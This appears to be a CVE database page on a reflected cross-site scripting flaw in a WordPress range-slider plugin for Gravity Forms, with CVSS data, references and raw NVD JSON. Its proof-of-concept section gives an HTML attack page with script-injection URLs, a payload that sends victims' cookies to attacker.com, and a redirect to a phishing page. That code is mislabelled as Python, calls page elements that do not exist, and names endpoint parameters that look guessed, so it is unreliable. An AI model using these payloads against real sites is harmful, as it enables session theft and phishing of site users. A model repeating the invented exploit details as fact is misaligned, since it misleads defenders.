CVE-2025-49905

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PluginsCafe Range Slider Addon for Gravity Forms range-slider-addon-for-gravity-forms allows Reflected XSS.This issue affects Range Slider Addon for Gravity Forms: from n/a through <= 1.1.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Range Slider Addon for Gravity Forms <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49905 PoC: Reflected XSS in Range Slider Addon for Gravity Forms -->
<!-- Target: WordPress site with Range Slider Addon for Gravity Forms <= 1.1.6 -->
<!-- This PoC demonstrates a reflected XSS attack -->

<!-- Malicious URL that triggers the XSS -->
<!-- Replace 'TARGET_URL' with the vulnerable site URL -->
<!-- Replace 'GF_FORM_ID' with the actual Gravity Forms form ID -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-49905 PoC</title>
</head>
<body>
    <h1>CVE-2025-49905 Reflected XSS PoC</h1>
    
    <p>Click the link below to trigger the XSS vulnerability:</p>
    
    <!-- Attack URL - XSS payload injected via vulnerable parameter -->
    <a href='http://TARGET_URL/wp-admin/admin-ajax.php?action=rsgf_range_slider&form_id=GF_FORM_ID&slider_param=<script>alert(document.cookie)</script>' 
       target='_blank'>
       http://TARGET_URL/wp-admin/admin-ajax.php?action=rsgf_range_slider&form_id=GF_FORM_ID&slider_param=<script>alert(document.cookie)</script>
    </a>
    
    <script>
        // Alternative payload that steals cookies
        var xssPayload = "<img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\">";
        
        // Payload that redirects user to malicious site
        var redirectPayload = "<script>window.location.href='https://attacker.com/phishing'</script>";
        
        // Generate malicious URL dynamically
        function generateMaliciousURL(baseURL) {
            var formID = document.getElementById('formID').value || 1;
            var payload = document.getElementById('payload').value || xssPayload;
            return baseURL + '?action=rsgf_range_slider&form_id=' + formID + '&slider_param=' + encodeURIComponent(payload);
        }
    </script>
    
    <p>Common vulnerable parameters: slider_param, min_value, max_value, step_value</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49905
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49905
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49905/
[4] VulDB https://vuldb.com/cve/CVE-2025-49905
[5] https://patchstack.com/database/Wordpress/Plugin/range-slider-addon-for-gravity-forms/vulnerability/wordpress-range-slider-addon-for-gravity-forms-plugin-1-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49905", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:54.430", "lastModified": "2026-04-27T20:16:16.037", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PluginsCafe Range Slider Addon for Gravity Forms range-slider-addon-for-gravity-forms allows Reflected XSS.This issue affects Range Slider Addon for Gravity Forms: from n/a through <= 1.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/range-slider-addon-for-gravity-forms/vulnerability/wordpress-range-slider-addon-for-gravity-forms-plugin-1-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}